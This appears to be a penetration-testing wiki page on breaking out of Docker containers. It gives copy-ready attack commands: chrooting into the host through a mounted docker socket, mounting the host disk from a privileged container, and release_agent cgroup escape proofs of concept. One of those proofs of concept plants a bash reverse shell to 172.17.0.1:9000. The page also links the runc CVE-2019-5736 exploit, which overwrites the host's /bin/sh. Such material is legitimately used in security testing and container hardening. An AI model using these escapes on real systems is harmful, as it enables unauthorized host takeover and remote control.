# Docker Breakout / Privilege Escalation ## Automatic Enumeration & Escape * ****[**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers** * ****[**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically** * ****[**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it * ****[**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers * ****[**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image ## Mounted docker socket If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\ This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` In this case you can use regular docker commands to communicate with the docker daemon: ```bash #List images to use one docker images #Run the image mounting the host disk and chroot on it docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash ``` {% hint style="info" %} In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** {% endhint %} ## Container Capabilities You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE`** You can check currently container capabilities using **previously mentioned automatic tools** or: ```bash capsh --print ``` In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges: {% content-ref url="../../linux-capabilities.md" %} [linux-capabilities.md](../../linux-capabilities.md) {% endcontent-ref %} ## Privileged Containers A privileged container can be created with the flag `--privileged` or disabling specific defenses: * `--cap-add=ALL` * `--security-opt apparmor=unconfined` * `--security-opt seccomp=unconfined` * `--security-opt label:disable` * `--pid=host` * `--userns=host` * `--uts=host` * `--cgroupns=host` The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. You can r**ead all the effects of `--privileged`** in this page: {% content-ref url="../docker-privileged.md" %} [docker-privileged.md](../docker-privileged.md) {% endcontent-ref %} In fact, `--privileged` **provides far more permissions** than needed to escape a docker container via this method. In reality, the “only” requirements are: 1. We must be **running as root** inside the container 2. The container must be run with the **`SYS_ADMIN` Linux capability** 3. The container must lack an AppArmor profile, or otherwise allow the `mount` syscall 4. The cgroup v1 virtual filesystem must be mounted read-write inside the container The `SYS_ADMIN` capability allows a container to perform the mount syscall (see [man 7 capabilities](https://linux.die.net/man/7/capabilities)). [Docker starts containers with a restricted set of capabilities](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) by default and does not enable the `SYS_ADMIN` capability due to the security risks of doing so. Further, Docker [starts containers with the `docker-default` AppArmor](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) policy by default, which [prevents the use of the mount syscall](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) even when the container is run with `SYS_ADMIN`. A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` ### Mounting Disk Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) So to take over the host machine, it is trivial: ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder. ### Abusing release\_agent {% code title="Initial PoC" %} ```bash # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent; echo "#!/bin/sh $1 >$t/o" >/c; chmod +x /c; sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` {% endcode %} The following is a different version, more readable, of the previous script: {% code title="Second PoC" %} ```bash # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash # In the container mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent #For a normal PoC ================= echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd #=================================== #Reverse shell echo '#!/bin/bash' > /cmd echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd chmod a+x /cmd #=================================== sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" head /output ``` {% endcode %} ## `--privileged` flag v2 ### Runc exploit (CVE-2019-5736) In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\ Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine: `docker exec -it /bin/sh` This will trigger the payload which is present in the main.go file. For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) {% hint style="info" %} There are other CVEs the container can be vulnerable too {% endhint %} ### Writable hostPath Mount (Info from [**here**](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)) Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: ```bash #### Check if You Can Write to a File-system $ echo 1 > /proc/sysrq-trigger #### Check root UUID $ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem $ findfs UUID=/dev/sda1- Attempt to Mount the Host's Filesystem $ mkdir /mnt-test $ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now. #### debugfs (Interactive File System Debugger) $ debugfs /dev/sda1 ``` ## References * [https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB](https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB) * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) * [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)